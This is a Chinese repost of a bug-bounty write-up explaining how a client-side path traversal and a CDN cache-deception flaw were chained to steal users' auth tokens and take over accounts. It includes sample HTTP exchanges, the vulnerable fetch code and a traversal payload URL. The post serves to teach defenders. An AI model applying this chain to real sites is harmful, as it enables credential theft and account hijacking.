文章总结: 本文阐述了如何将客户端路径穿越与缓存欺骗结合实现账号接管。作者利用CSPT控制带认证Token的请求路径,结合缓存欺骗诱导受害者浏览器访问可缓存端点,致使敏感Token被CDN存储。攻击者随后可通过访问缓存获取凭证接管账号,文章强调了低危漏洞组合的高危风险,极具实战参考价值。 综合评分: 88 文章分类: WEB安全,漏洞分析,渗透测试,SRC活动
Cache Deception + CSPT:从“无影响”到账号接管的漏洞链
Jorge Cerezo Jorge Cerezo
securitainment
2026年2月3日 22:12 中国香港
| 原文链接 | 作者 | | — | — | | https://zere.es/posts/cache-deception-cspt-account-takeover/ | Jorge Cerezo Dacosta |
最近在审计某个私有 Bug Bounty 项目的主应用时,我发现了一个 Client-Side Path Traversal (CSPT)和一个 Cache Deception漏洞。单独来看,这两个问题都无法利用,也没有实际影响;但当把它们串联起来时,我可以实现并演示 Account Takeover。
在展开细节之前,如果你对这些概念不熟,我强烈建议先阅读以下资料:
关于 CSPT:
- Matan Berson’s excellent introduction to CSPT – 从基础出发,对该概念进行系统且全面的讲解。
- My CSPT talk in Spanish – 如果你会西班牙语,我在这里介绍了基础概念与一些实战场景。
- Maxence Schmitt 的这份精彩 CSPT 分享
关于 Cache Deception:
- https://portswigger.net/web-security/web-cache-deception
缓存欺骗 (Cache Deception)
在初步侦察阶段,我发现了下面这个请求:
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
Accept-Encoding: gzip, deflate, br
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
Connection: keep-alive
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
由于该 endpoint 会返回敏感数据,我决定通过添加 .css扩展名来测试它是否存在 Cache Deception:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
Accept-Encoding: gzip, deflate, br
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
Connection: keep-alive
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
可以看到,响应内容完全一致,并且被缓存了。这表明该 endpoint 确实存在缓存欺骗漏洞。
但问题是:它需要 X-Auth-Tokenheader,而当用户直接访问一个 URL 时,浏览器无法“自动带上”这个 header。这使得缓存欺骗漏洞本身无法被利用,因为攻击者无法强制受害者的浏览器在请求中附带其认证 token。
客户端路径穿越 (Client-Side Path Traversal)
在审查前端代码时,我发现了下面这段 JavaScript:
consturlParams=newURLSearchParams(window.location.search);
constuserId=urlParams.get('userId');
constapiUrl=`https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method:'GET',
headers: {
'X-Auth-Token': authToken
}
})
.then(response=>response.json())
.then(data=> {
displayUSERData(data);
})
.catch(err=>console.error("Error loading user info:", err));
这就是一个典型的 Client-Side Path Traversal漏洞:userId参数被直接拼接进 API URL,且没有进行任何路径穿越相关的校验或过滤。
因此,我可以控制一个发往 API 的、带认证信息的 authenticated请求的路径。但“控制路径”具体能做什么?我既没找到 open redirect,也无法操纵任何 API 响应的 body。单独来看,这个 CSPT 仍然无法利用。
漏洞链 (The Chain)
此时我意识到:如果把这两个发现组合起来会怎样?
CSPT允许我控制一个包含 X-Auth-Tokenheader 的 authenticated API 请求路径;而 Cache Deception则恰好需要这个 header 的存在,才能把敏感数据写进缓存。
换句话说:如果我用 CSPT 让浏览器对“可缓存的敏感 endpoint”发起一次 authenticated 请求呢?
为了验证这个思路,我构造了一个 CSPTpayload,让它路径穿越到可缓存的 endpoint:
https://example.com/user?id=../../../v1/token.css
当用户访问该 URL 时,JavaScript 会构造出:
https://api.example.com/v1/users/info/../../../v1/token.css
它最终会解析为:
https://api.example.com/v1/token.css
关键点在于:这个请求会包含用户的 X-Auth-Tokenheader。因此当 CSPT 被触发时,它会向可缓存的 endpoint 发送一个 authenticated 请求。
API 返回敏感的 token 数据,CDN 随后缓存该响应。
接下来,任何人(包括未认证用户)只要访问 https://api.example.com/v1/token.css,CDN 就会返回受害者缓存下来的敏感数据,其中包含其 token,从而导致账号接管。
结论 (Conclusion)
希望这条攻击链能带来一些启发:看似“单独没有影响”的小漏洞,一旦组合起来,就可能造成非常严重的安全风险。这也说明了为什么我们需要跳出单点安全机制去思考,以及为什么不应忽视那些表面上无法利用的发现。在很多情况下,最危险的攻击恰恰来自多个“单看无害”的漏洞链式组合。
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Jorge Cerezo Jorge Cerezo《Cache Deception + CSPT:从“无影响”到账号接管的漏洞链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论